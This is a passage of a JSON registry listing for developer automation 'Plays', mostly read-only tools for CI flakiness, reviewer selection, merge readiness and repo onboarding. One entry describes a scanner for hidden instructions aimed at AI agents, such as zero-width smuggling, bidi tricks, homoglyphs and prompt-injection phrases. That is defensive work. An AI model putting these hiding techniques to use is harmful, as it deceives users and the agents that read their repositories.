unpushed,dirty,conflict,ci,reviews,deps,stale.","example":"unpushed,dirty,conflict,ci,reviews,deps,stale"},{"name":"history_path","type":"string","required":false,"default":"~/.rote/fire-check/history.jsonl","description":"Where the append-only run history lives; re-pointable per machine. Demo runs use a separate demo-history.jsonl next to it.","example":"~/.rote/fire-check/history.jsonl"},{"name":"record_history","type":"boolean","required":false,"default":"true","description":"Append this run to the history file (delta and streak need it). Set false for a fully read-only run; the stage then renders as skipped.","example":"true"},{"name":"explain","type":"boolean","required":false,"default":"false","description":"Print the score weights and check thresholds in the human view, so 'why this score?' is one flag away.","example":"true"},{"name":"demo","type":"boolean","required":false,"default":"false","description":"Run bundled deterministic fixture repos with a [DEMO] badge instead of your real roots. Seeds real git repos into a temp dir and demo history; never touches your repositories or real history.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2ef8bc5977fccb5c5bb07011f04407f00f8c9ade22cb886a2ab6a6da83a4c044","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":3,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aryangorde/flake-finder@0.1.13","reference":"aryangorde/flake-finder@0.1.13","uri":"https://play.modiqo.ai/aryangorde/flake-finder@0.1.13","manifest_uri":"https://play.modiqo.ai/aryangorde/flake-finder@0.1.13","name":"flake-finder","title":"flake-finder","description":"Which of your CI jobs fail at random? `gh run list` cannot tell you, and not for want of a flag: it prints one line per run carrying a run-level conclusion, so a red run on a 134-job matrix names none of the 134, and nothing groups a job across the runs it appeared in. Flakiness is only visible on both axes at once, per job and across history. This play samples recent completed runs on the default branch, where the code is presumably good, and groups every conclusion by job name. A job that both passed and failed there is flaky, reported with its rate and counts; one that only ever failed is broken, listed separately. Cancelled and skipped runs are counted but never scored as failures, because a busy branch cancels superseded runs constantly and counting those would manufacture flakes that do not exist. A single failure with no passing run is called unconfirmed, and a run holding more jobs than one page returns calls itself a lower bound. Read-only, no API key beyond the gh CLI you have.","owner":{"kind":"user","slug":"aryangorde"},"registry_organization":"aryangorde","tags":["effect-read-only","ci","github-actions","flaky-tests","testing","continuous-integration","daily","scheduled","monitoring","intermittent","ci-reliability","test-reliability","flaky-build","unreliable-tests","nondeterministic","test-failures","sometimes-failing-tests"],"primary_domain":"domain-uncategorized","author":"Aryangorde6","version":"0.1.13","published_at":"2026-09-04T17:12:01.349759+00:00","visibility":"public","quality_score":1,"size_bytes":8863,"license":null,"stats":{"downloads":18,"installs":0},"steps":{"count":4,"names":["run_jobs","norm_repo","branch_runs","default_branch"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Repository as owner/name, or any github.com URL for it","example":"denoland/deno"},{"name":"runs","type":"number","required":false,"default":12,"description":"How many recent completed default-branch runs to sample"},{"name":"workflow","type":"string","required":false,"default":"","description":"Restrict to one workflow name; empty samples every workflow"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:71b95371e73ca804bfc8cedcf561035a9721c3d323ea1abcc9041bb301ab57ba","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":6,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"gh","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/rajgharat07/agent-whisper-map@0.1.0","reference":"rajgharat07/agent-whisper-map@0.1.0","uri":"https://play.modiqo.ai/rajgharat07/agent-whisper-map@0.1.0","manifest_uri":"https://play.modiqo.ai/rajgharat07/agent-whisper-map@0.1.0","name":"agent-whisper-map","title":"agent-whisper-map","description":"Your AI agent reads invisible ink. Scans a repo for zero-width smuggling, Trojan-Source bidi, homoglyphs, hidden HTML comments, and prompt-injection phrases — then shows what you see vs what the agent reads. Read-only, zero adapters, Python stdlib.","owner":{"kind":"user","slug":"rajgharat07"},"registry_organization":"rajgharat07","tags":["domain-engineering","engineering-workflows","job-security","tool-shell","effect-read-only"],"primary_domain":"domain-engineering","author":"rajgharat07","version":"0.1.0","published_at":"2026-09-02T18:46:57.645883+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2794,"license":null,"stats":{"downloads":17,"installs":0},"steps":{"count":1,"names":["scan_whisper_map"]},"parameters":[{"name":"repo_path","type":"string","required":true,"default":".","description":"Path to the repository to scan for whispered agent instructions","example":"."},{"name":"include_deps","type":"string","required":false,"default":"false","description":"When \"true\", also scan dependency directories (node_modules, site-packages, vendor)","example":"false"},{"name":"scope","type":"string","required":false,"default":"","description":"Optional comma-separated glob(s) to narrow the scan","example":"*.md,src"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3412cfbb0588c36504a5ca8baaa02d091c7e0d705cae1b883bde9e494438c82a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/sakshamsai26/test-gap-mapper@0.23.23","reference":"sakshamsai26/test-gap-mapper@0.23.23","uri":"https://play.modiqo.ai/sakshamsai26/test-gap-mapper@0.23.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/test-gap-mapper@0.23.23","name":"test-gap-mapper","title":"test-gap-mapper","description":"Before a change is reviewed or merged, it is easy to mistake a nearby test filename for evidence that the changed behavior is covered. Test Gap Mapper turns one local Git range into a conservative, inspectable test-impact brief, writes that report as a new artifact, and can optionally create a GitHub issue containing it. It never runs tests, installs packages, edits the repository, fetches, pushes, or overwrites an existing artifact.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.23.23","published_at":"2026-09-05T11:35:57.232698+00:00","visibility":"public","quality_score":1,"size_bytes":6722,"license":null,"stats":{"downloads":16,"installs":0},"steps":{"count":7,"names":["map","boundary","inventory","preflight","write_plan","auth_github","create_issue"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local Git repository you are authorized to inspect. Only tracked paths are read."},{"name":"change_range","type":"string","required":true,"description":"Existing local Git range, such as HEAD~5..HEAD. Invalid ranges return UNKNOWN."},{"name":"max_changed_files","type":"string","required":false,"default":"80","description":"Maximum changed source files to correlate, from 1 through 300. Files beyond the cap are excluded and never silently treated as covered."},{"name":"include_untracked","type":"string","required":false,"default":"false","description":"Whether to add non-ignored untracked paths to the inventory. Default false analyzes only the supplied Git range."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings prints the audit brief; all also prints each changed local path used by the analysis."},{"name":"output_dir","type":"string","required":true,"description":"Absolute directory for the newly written test-gap-plan.md artifact. Existing artifacts are never overwritten."},{"name":"github_owner","type":"string","required":false,"default":"","description":"GitHub repository owner, required only when publish_issue is true."},{"name":"github_repo","type":"string","required":false,"default":"","description":"GitHub repository name, required only when publish_issue is true."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"Create a GitHub issue containing the generated test-impact report. Defaults to false."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:3913462ae4f81860c265c2a1eb751df5e2e467941d746b15b327744163d7298b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":1,"shell":5,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":14,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1224,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":1,"tools":1224},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/aryangorde/reviewer-finder@0.1.11","reference":"aryangorde/reviewer-finder@0.1.11","uri":"https://play.modiqo.ai/aryangorde/reviewer-finder@0.1.11","manifest_uri":"https://play.modiqo.ai/aryangorde/reviewer-finder@0.1.11","name":"reviewer-finder","title":"reviewer-finder","description":"Assigning a reviewer is a guess unless you know who has touched the code. GitHub will not tell you: a pull request lists who was requested, never whether they edited these files, and CODEOWNERS answers a different question: who owns a path by policy, not who still has context. The obvious substitute, ranking by commit count on the changed files, is worse than nothing: on a recent kubernetes pull request the top three committers were a CI bot, the author, and another bot. This play drops lockfiles and generated paths so dependency bumps stop impersonating expertise, then ranks people by how much of THIS change they touched, not their commits anywhere. Bots are excluded, and name-heuristic drops are listed so a misjudged human stays visible. Cold expertise is flagged with its age, single-owner files as bus-factor risk, and requested reviewers are compared against what they touched — never called wrong. It reads commit authorship only, cannot follow renames, and says so. Read-only, no API key beyond gh.","owner":{"kind":"user","slug":"aryangorde"},"registry_organization":"aryangorde","tags":["effect-read-only","code-review","reviewers","pull-request","code-ownership","git","pr-workflow","triage","reviewer-selection","bus-factor","code-expertise","pick-reviewer","choose-reviewer","review-routing","code-review-assignment","who-to-ask"],"primary_domain":"domain-uncategorized","author":"Aryangorde6","version":"0.1.11","published_at":"2026-09-04T17:12:07.710787+00:00","visibility":"public","quality_score":1,"size_bytes":11101,"license":null,"stats":{"downloads":16,"installs":0},"steps":{"count":5,"names":["norm_pr","norm_repo","path_history","pull_request","changed_paths"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Repository as owner/name, or a pull request URL, which carries the number with it","example":"kubernetes/kubernetes"},{"name":"pr","type":"number","required":false,"default":0,"description":"Pull request number; omit only when repo already carries one"},{"name":"history","type":"number","required":false,"default":30,"description":"Commits sampled per changed file"},{"name":"max_files","type":"number","required":false,"default":40,"description":"Cap on how many changed files are sampled"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:031a0069b65390c0ccfaac9b67ac76989ca4926a4d99450c000634ebfb748dc6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":6,"for_each_steps":1,"complexity":5,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":2},{"name":"sh","kind":"tool","source":"declared","count":2},{"name":"gh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/sookra/quiet-check@0.1.5","reference":"sookra/quiet-check@0.1.5","uri":"https://play.modiqo.ai/sookra/quiet-check@0.1.5","manifest_uri":"https://play.modiqo.ai/sookra/quiet-check@0.1.5","name":"quiet-check","title":"quiet-check","description":"Find the places a Play goes quiet when something fails, so a failure never reads as a clean result. A check that returns nothing looks exactly like a check that found nothing, and that is how a broken step ships. This reads a Play package and reports six shapes that hide a failure. A guard that tests a tool is present and then runs it with flags another implementation rejects, so the fallback never fires. A shell body that needs bash 4 under the bash 3.2 macOS has shipped since 2007, where an associative array is the one that does not announce itself, because the option is rejected, every key subscripts to 0, and the last write wins. Stderr discarded inside a substitution with no fallback, so an error arrives as an empty string. A traversal that can partially fail without saying so. A broad except that only passes. And a guarded block with no else, which emits nothing when the tool is absent. It never imports, executes or pulls what it reads, it writes nothing, and it runs no subprocess at all. It names what it could not read, and it says so when nothing matched. It runs its own positive and negative cases before the scan and refuses to call the scan trustworthy if any of them fail.","owner":{"kind":"user","slug":"sookra"},"registry_organization":"sookra","tags":["domain-rote-plays","job-quality-gate","audience-play-authors","effect-read-only","play-hygiene"],"primary_domain":"domain-rote-plays","author":"sookra","version":"0.1.5","published_at":"2026-09-04T04:44:45.458084+00:00","visibility":"public","quality_score":1,"size_bytes":24747,"license":null,"stats":{"downloads":16,"installs":0},"steps":{"count":3,"names":["self_test","host_facts","quiet_scan"]},"parameters":[{"name":"target","type":"string","required":false,"default":"all","description":"What to read: a path to a Play package directory or its main.ts, an owner/name reference such as modiqo/hello, or all to read every Play installed in your rote store. Use the path form on the Play you are writing, before you publish it."},{"name":"flows_root","type":"string","required":false,"default":"~/.rote/flows","description":"Directory holding installed Play packages, used when target is all or an owner/name reference."},{"name":"strict","type":"string","required":false,"default":"false","description":"Set to true to exit non-zero when anything is found. Off by default, because a finding is information rather than a failure."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a3a12800a81ce9e8a683f31193235206d58e909f8dc297f472fb99d4fdf3718e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/works-on-my-machine-investigator@0.4.6","reference":"sakshamsai26/works-on-my-machine-investigator@0.4.6","uri":"https://play.modiqo.ai/sakshamsai26/works-on-my-machine-investigator@0.4.6","manifest_uri":"https://play.modiqo.ai/sakshamsai26/works-on-my-machine-investigator@0.4.6","name":"works-on-my-machine-investigator","title":"works-on-my-machine-investigator","description":"Find the hidden assumptions behind the most infamous sentence in software engineering: works on my machine. This is an offline, static portability audit for a local repository. It checks whether the runtime a developer probably has locally disagrees with package metadata, Docker, or bounded CI workflows; whether lockfiles and package-manager declarations conflict; whether source-required environment-variable names have a value-free example and visible CI contract; whether scripts rely on ambiguous Python, POSIX-only shell commands, or undeclared global executables; whether relative imports can fail on a case-sensitive filesystem; and whether README setup refers to ignored local-only files with no example contract. It ranks likely first failures, separates high-confidence evidence from unprovable runtime assumptions, explains why the machine may have masked each issue, and returns a safe reproduction order without executing it. report=all emits a value-free portability contract matrix and coverage record. It never executes project code, reads environment values, follows symlinks, changes files, fetches, or contacts services.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","portability","environment-audit","optional-local-report-write","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.4.6","published_at":"2026-09-05T07:13:32.570933+00:00","visibility":"public","quality_score":1,"size_bytes":10834,"license":null,"stats":{"downloads":15,"installs":0},"steps":{"count":7,"names":["boundary","inventory","preflight","investigate","write_report","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute repository directory to inspect. Dependency/vendor directories, symlinks, and files above the safe size cap are excluded; the local path is never emitted in the report."},{"name":"max_source_files","type":"string","required":false,"default":"700","description":"Maximum source files to inspect, from 50 to 2000. A smaller cap is faster but makes absence-based findings PARTIAL."},{"name":"max_file_bytes","type":"string","required":false,"default":"300000","description":"Maximum bytes read from one text file, from 10000 to 500000. Bigger files are skipped, never partially interpreted."},{"name":"include_ci","type":"string","required":false,"default":"true","description":"Whether to inspect up to 30 GitHub Actions workflow files. false marks CI comparisons NOT ASSESSED rather than silently omitting them."},{"name":"include_scripts","type":"string","required":false,"default":"true","description":"Whether to inspect package scripts for ambiguous Python, POSIX-only commands, and apparent undeclared executable assumptions. false marks script portability NOT ASSESSED."},{"name":"include_case_checks","type":"string","required":false,"default":"true","description":"Whether to compare relative import spelling against local file casing in bounded JavaScript and TypeScript source. false marks case-sensitive filesystem checks NOT ASSESSED."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings returns ranked portability risks and remediation. all additionally lists value-free scan coverage, declared runtime signals, lockfile signals, and excluded evidence classes."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the repository. If supplied, this Play creates a new run-owned report directory with report.md and receipt.json; it never overwrites files or changes the repository."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c4c878326874d44bd9880479cc1c64b4ca0c44cf5834a57ced1929496063aa55","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":8,"for_each_steps":1,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aryangorde/review-gate@0.1.12","reference":"aryangorde/review-gate@0.1.12","uri":"https://play.modiqo.ai/aryangorde/review-gate@0.1.12","manifest_uri":"https://play.modiqo.ai/aryangorde/review-gate@0.1.12","name":"review-gate","title":"review-gate","description":"Decides whether a pull request is safe to merge, and says exactly what is blocking it. `gh pr view` and every check built on GitHub REST v3 share one blind spot: review-thread resolution (`isResolved`) exists only in the GraphQL API, so a pull request carrying unresolved blocking feedback reports as ready. On grafana/grafana#131909 that gap hid a High-severity finding, an unclamped `toFixed` that throws, behind zero failing checks and no merge conflicts. This play reads threads through GraphQL and checks through `gh pr view`, naming each unresolved thread with file, line, author and permalink. It degrades honestly, never optimistically: pending checks never count toward a pass, uncomputed mergeability is reported as unknown, over 100 threads makes the count a lower bound, and a pull request nobody has reviewed is reported as unreviewed rather than as safe. The verdict can fall to cannot-confirm, but never to safe. Read-only, no API key beyond gh, and cheap enough to run before every merge.","owner":{"kind":"user","slug":"aryangorde"},"registry_organization":"aryangorde","tags":["effect-read-only","pull-request","code-review","merge-readiness","github","ci","pre-merge","pr-workflow","merge-blocker","pr-ready","blocking-issues","mergeability"],"primary_domain":"domain-uncategorized","author":"Aryangorde6","version":"0.1.12","published_at":"2026-09-04T15:18:54.546672+00:00","visibility":"public","quality_score":1,"size_bytes":10731,"license":null,"stats":{"downloads":15,"installs":0},"steps":{"count":3,"names":["normalize","merge_checks","review_threads"]},"parameters":[{"name":"pr","type":"string","required":true,"description":"Pull request URL or owner/repo#number, for example grafana/grafana#131909","example":"https://github.com/grafana/grafana/pull/131909"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:97bdffc92b4884ead0a1123ab2a962fb7b0fea17568bb066050c3ec30bd4cd0f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/bavya21/coastal-fisher-beacon@0.80.0","reference":"bavya21/coastal-fisher-beacon@0.80.0","uri":"https://play.modiqo.ai/bavya21/coastal-fisher-beacon@0.80.0","manifest_uri":"https://play.modiqo.ai/bavya21/coastal-fisher-beacon@0.80.0","name":"coastal-fisher-beacon","title":"coastal-fisher-beacon","description":"Coastal Fisher Beacon is a Rote Play designed to help protect fishermen and coastal vessel operators during maritime emergencies, where delayed or inaccurate distress communication can cost lives. It captures and validates critical information such as vessel identity, distress status, location, GPS accuracy, battery, people onboard, and emergency details, then routes a verified alert to an authorized rescue channel. As part of a larger Rote ecosystem, it can integrate with Kadalkaval to connect vessel distress with coastal hazards such as cyclones, tsunamis, storm surges, and flooding, enabling faster, location-aware warnings and broader coastal situational awareness.\n","owner":{"kind":"user","slug":"bavya21"},"registry_organization":"bavya21","tags":["maritime-safety","emergency-response","fishermen","distress-beacon","notification"],"primary_domain":"domain-uncategorized","author":"bavya21","version":"0.80.0","published_at":"2026-09-06T06:58:57.555213+00:00","visibility":"public","quality_score":1,"size_bytes":4171,"license":null,"stats":{"downloads":14,"installs":0},"steps":{"count":1,"names":["dispatch_alert"]},"parameters":[{"name":"fisher_name","type":"string","required":true,"description":"Name of the fisherman or vessel operator"},{"name":"vessel_name","type":"string","required":true,"description":"Name or identifier of the vessel"},{"name":"distress_status","type":"string","required":true,"description":"Current distress status"},{"name":"latitude","type":"string","required":true,"description":"Current GPS latitude"},{"name":"longitude","type":"string","required":true,"description":"Current GPS longitude"},{"name":"gps_accuracy","type":"string","required":false,"description":"GPS accuracy in meters"},{"name":"battery_level","type":"string","required":false,"description":"Device battery percentage"},{"name":"people_onboard","type":"string","required":false,"description":"Number of people currently onboard"},{"name":"emergency_message","type":"string","required":true,"description":"Emergency details or message"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:352cbc0faedf61a93de6e3b5b8e428d5f88ea3e8299048b278c3cfc980508ee5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/satianurag/ci-digest-guard@0.5.4","reference":"satianurag/ci-digest-guard@0.5.4","uri":"https://play.modiqo.ai/satianurag/ci-digest-guard@0.5.4","manifest_uri":"https://play.modiqo.ai/satianurag/ci-digest-guard@0.5.4","name":"ci-digest-guard","title":"ci-digest-guard","description":"Opens the pull request that pins your deploy to the image digest your pipeline already built. Finds GitHub Actions workflows that build a Docker image and then hand Terraform a mutable tag (:latest, a branch name, or none at all) instead of the immutable digest -- so a push landing between build and deploy, or a scheduled re-run, can silently ship a different image than the one that was tested. Covers docker/build-push-action and raw docker build/buildx. No LLM: structural detection over the YAML and a minimal patch rewiring only the one line that named the tag, so the diff is exactly the change and nothing more. When it cannot verify something it reports UNKNOWN, never a false CLEAR -- and it reads your repo's own .tf files to mark a confirmed case with the exact HCL line as evidence, verified live against cal-itp/benefits. Validated on 25+ real public repos. Read-only unless open_pr=true. Try demo=true.","owner":{"kind":"user","slug":"satianurag"},"registry_organization":"satianurag","tags":["docker","terraform","github-actions","ci-cd","supply-chain","deterministic","zero-dependencies"],"primary_domain":"domain-uncategorized","author":"Satianurag","version":"0.5.4","published_at":"2026-09-05T18:55:19.721534+00:00","visibility":"public","quality_score":1,"size_bytes":49798,"license":null,"stats":{"downloads":14,"installs":0},"steps":{"count":3,"names":["scan","open_pr","discover"]},"parameters":[{"name":"repo_path","type":"string","required":false,"default":"","description":"Absolute path to the target repository's root. Required outside demo mode: every step in this play runs inside an isolated rote workspace directory, not wherever your terminal happened to be, so there is no current directory to fall back on -- an agent invoking this on someone's behalf already knows its own absolute working directory and should pass it through directly (e.g. repo_path=/Users/you/your-repo, or repo_path=$(pwd) if standing in it). Ignored in demo mode.","example":"/Users/you/your-repo"},{"name":"workflows_subdir","type":"string","required":false,"default":".github/workflows","description":"Path to the workflow directory, relative to repo_path. Ignored in demo mode.","example":".github/workflows"},{"name":"open_pr","type":"boolean","required":false,"default":"false","description":"If true, writes every fix to disk on a new branch (ci-digest-guard/pin-image-digest) and opens a PR via gh. If false (default), only reports findings -- fully read-only. Always false in demo mode regardless of what is passed.","example":"false"},{"name":"demo","type":"boolean","required":false,"default":"false","description":"Run against five bundled fixture workflows instead of your real repository, for a zero-setup first look. Never writes anything and never opens a PR, even if open_pr=true.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f3fdd584d0896d7b3558bb0578793d5a3c3f84049d864ecea7fa998dceef39d1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pugarhuda/repo-onboarding-brief@0.7.1","reference":"pugarhuda/repo-onboarding-brief@0.7.1","uri":"https://play.modiqo.ai/pugarhuda/repo-onboarding-brief@0.7.1","manifest_uri":"https://play.modiqo.ai/pugarhuda/repo-onboarding-brief@0.7.1","name":"repo-onboarding-brief","title":"repo-onboarding-brief","description":"Onboard to an unfamiliar repository, and check its setup instructions instead of trusting them. Read-only, no credentials, no adapters, and nothing the repository ships is ever executed. Cross-references every command the README tells you to run against what the project actually defines — package.json scripts, Make targets, justfile recipes, Cargo bins, go run/test paths, pyproject scripts, tox envs, nox sessions, Taskfile tasks, compose services, Dockerfiles, and npx binaries declared as dependencies — and against the tools present on your machine — including their versions against the floors the project declares in engines, .nvmrc, requires-python, .python-version, go.mod, rust-toolchain, .tool-versions, the setup-node/setup-python/setup-go versions its CI actually tests on, and the FROM image of its Dockerfile, read by running `--version` on your own tools, never the project's code — so a documented-but-nonexistent command, or a Node two majors too old, is named before you lose an afternoon to it. Reads README, CONTRIBUTING and docs/ and cites file and line for every command. Lists the environment variables the code reads that no .env.example or doc admits to, split into the ones with no fallback (the process dies on first use) and the ones with a default. Names the floors that contradict each other (a .nvmrc pin an engines range rejects), a second committed lockfile with nothing choosing between them, relative doc links that point at files the tree does not have, and the files that exist in your checkout but git does not track — a stranger's clone will not have them. Ends with FIRST RUN, IN ORDER — toolchain, the install command the committed lockfile implies, env, run, test — so the brief is a sequence, not a list. Also reports stack and version floors, the entry points the manifests declare (package.json main/bin/exports, pyproject scripts, Cargo [[bin]], Go cmd directories) with a MISSING mark when the file is gone, a layout map, risk flags (no lockfile, no tests, no CI, committed secret-shaped files), and an explicit list of what it could not determine. A local path is inspected in place; a URL is shallow-cloned to a temp directory.","owner":{"kind":"user","slug":"pugarhuda"},"registry_organization":"pugarhuda","tags":["domain-code-analysis","job-repository-onboarding","audience-developers","effect-read-only"],"primary_domain":"domain-code-analysis","author":"pugarhuda","version":"0.7.1","published_at":"2026-09-06T14:06:51.140929+00:00","visibility":"public","quality_score":1,"size_bytes":24969,"license":null,"stats":{"downloads":13,"installs":0},"steps":{"count":3,"names":["probe","claims","resolve"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Repository to brief: a git URL (https://, ssh://, git@host:owner/name) or a path to a local 